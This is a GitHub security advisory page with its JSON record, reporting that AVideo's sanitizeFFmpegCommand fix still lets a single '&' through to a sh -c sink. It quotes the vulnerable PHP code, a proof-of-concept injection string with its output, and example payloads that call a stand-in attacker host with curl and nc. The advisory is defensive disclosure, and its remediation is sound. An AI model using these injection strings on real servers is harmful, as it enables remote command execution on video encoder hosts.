GHSA-WC3F-XC32-435F

Vulnerability from github – Published: 2026-06-23 17:42 – Updated: 2026-06-23 17:42
VLAI
Summary
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
Details

Summary

The fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...). It still does not neutralize a single & (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original — only the surviving metacharacter differs.

Verified at master HEAD.

The surviving gap

HEAD sanitizeFFmpegCommand (functions.php):

$command = str_replace('&&', '', $command);                    // only the doubled form
$command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);  // strips '&' only when followed by '>'
$command = preg_replace('/[;|`<>$()\n\r{}]/', '', $command);   // char class has no '&'
// then requires the result to start with 'ffmpeg'

A single & is therefore preserved. ffmpeg ... & <cmd> passes the sanitizer and the strpos(trim($command),'ffmpeg')===0 prefix gate.

Sink (unchanged)

plugin/API/standAlone/ffmpeg.json.php:418 -> execAsync($ffmpegCommand, $keyword). In objects/functionsExec.php::execAsync:

$command = addcslashes($command, '"');   // line 686 — escapes only the double-quote
$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";  // line 705
exec($commandWithKeyword, ...);          // line 712 — PHP exec() runs via /bin/sh -c

The sanitized command is embedded inside an inner sh -c "...". A bare & in $command separates commands for that inner shell, so the injected command executes. addcslashes escaping only " does not stop &.

Reachability

ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N).

Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt)

Byte-faithful PHP harness: sanitizeFFmpegCommand copied verbatim from HEAD + the execAsync sh -c wrapping copied from functionsExec.php:

attacker input : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
after sanitize : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
ampersand survived : YES   passes prefix : YES
final sh -c string:
  nohup sh -c "ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo $! > /tmp/testkw.pid" > /dev/null 2>&1 &
>> injected touch executed: YES (/tmp/avideo_amp_rce_proof)

The sanitizer leaves & intact and the injected touch runs at the sink.

Impact

Arbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not.

Remediation

Stop applying a metacharacter denylist to a sh -c sink. Build the ffmpeg invocation as an argv array with escapeshellarg() per token (the project already uses escapeshellarg() at 137 sites) instead of interpolating $command into sh -c "...". If the denylist is kept as defense-in-depth, add & to the stripped set — but the denylist approach has now missed two metacharacters in a row ($() then &).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55173"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T17:42:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that `sanitizeFFmpegCommand()` (`plugin/API/standAlone/functions.php`) failed to strip `$(...)` command substitution, allowing OS command injection at the `execAsync()` `sh -c` sink. The fix (commit `25c8ab90`) added `$`, `(`, `)`, `{`, `}`, `\\n`, `\\r` to the denylist character class and a `str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, ...)`. It still does **not** neutralize a single `\u0026` (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original \u2014 only the surviving metacharacter differs.\n\nVerified at master HEAD.\n\n### The surviving gap\n\nHEAD `sanitizeFFmpegCommand` (`functions.php`):\n```php\n$command = str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, $command);                    // only the doubled form\n$command = preg_replace(\u0027/\\s*\u0026?\u003e.*(?:2\u003e\u00261)?/\u0027, \u0027\u0027, $command);  // strips \u0027\u0026\u0027 only when followed by \u0027\u003e\u0027\n$command = preg_replace(\u0027/[;|`\u003c\u003e$()\\n\\r{}]/\u0027, \u0027\u0027, $command);   // char class has no \u0027\u0026\u0027\n// then requires the result to start with \u0027ffmpeg\u0027\n```\nA single `\u0026` is therefore preserved. `ffmpeg ... \u0026 \u003ccmd\u003e` passes the sanitizer and the `strpos(trim($command),\u0027ffmpeg\u0027)===0` prefix gate.\n\n### Sink (unchanged)\n\n`plugin/API/standAlone/ffmpeg.json.php:418` -\u003e `execAsync($ffmpegCommand, $keyword)`. In `objects/functionsExec.php::execAsync`:\n```php\n$command = addcslashes($command, \u0027\"\u0027);   // line 686 \u2014 escapes only the double-quote\n$commandWithKeyword = \"nohup sh -c \\\"$command \u0026 echo \\\\$! \u003e /tmp/$keyword.pid\\\" \u003e /dev/null 2\u003e\u00261 \u0026\";  // line 705\nexec($commandWithKeyword, ...);          // line 712 \u2014 PHP exec() runs via /bin/sh -c\n```\nThe sanitized command is embedded inside an inner `sh -c \"...\"`. A bare `\u0026` in `$command` separates commands for that inner shell, so the injected command executes. `addcslashes` escaping only `\"` does not stop `\u0026`.\n\n### Reachability\n\n`ffmpeg.json.php` builds the command from `_decryptString(getInput(\u0027codeToExecEncrypted\u0027))`. This is the **same** threat model the original advisory accepted (\u201can attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server\u201d) and the same CVSS basis (`AV:N/AC:H/PR:N`).\n\n### Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt)\n\nByte-faithful PHP harness: `sanitizeFFmpegCommand` copied verbatim from HEAD + the `execAsync` `sh -c` wrapping copied from `functionsExec.php`:\n```\nattacker input : ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo done out.mp4\nafter sanitize : ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo done out.mp4\nampersand survived : YES   passes prefix : YES\nfinal sh -c string:\n  nohup sh -c \"ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo $! \u003e /tmp/testkw.pid\" \u003e /dev/null 2\u003e\u00261 \u0026\n\u003e\u003e injected touch executed: YES (/tmp/avideo_amp_rce_proof)\n```\nThe sanitizer leaves `\u0026` intact and the injected `touch` runs at the sink.\n\n### Impact\n\nArbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple `\u0026`-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the `\u003e` strip, but command execution (e.g. `\u0026 curl http://attacker/...`, `\u0026 nc ...`, dropping/running a file) is not.\n\n### Remediation\n\nStop applying a metacharacter denylist to a `sh -c` sink. Build the ffmpeg invocation as an argv array with `escapeshellarg()` per token (the project already uses `escapeshellarg()` at 137 sites) instead of interpolating `$command` into `sh -c \"...\"`. If the denylist is kept as defense-in-depth, add `\u0026` to the stripped set \u2014 but the denylist approach has now missed two metacharacters in a row (`$()` then `\u0026`).",
  "id": "GHSA-wc3f-xc32-435f",
  "modified": "2026-06-23T17:42:17Z",
  "published": "2026-06-23T17:42:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single \u0027\u0026\u0027 (background operator), giving OS command execution at the same execAsync sh -c sink"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…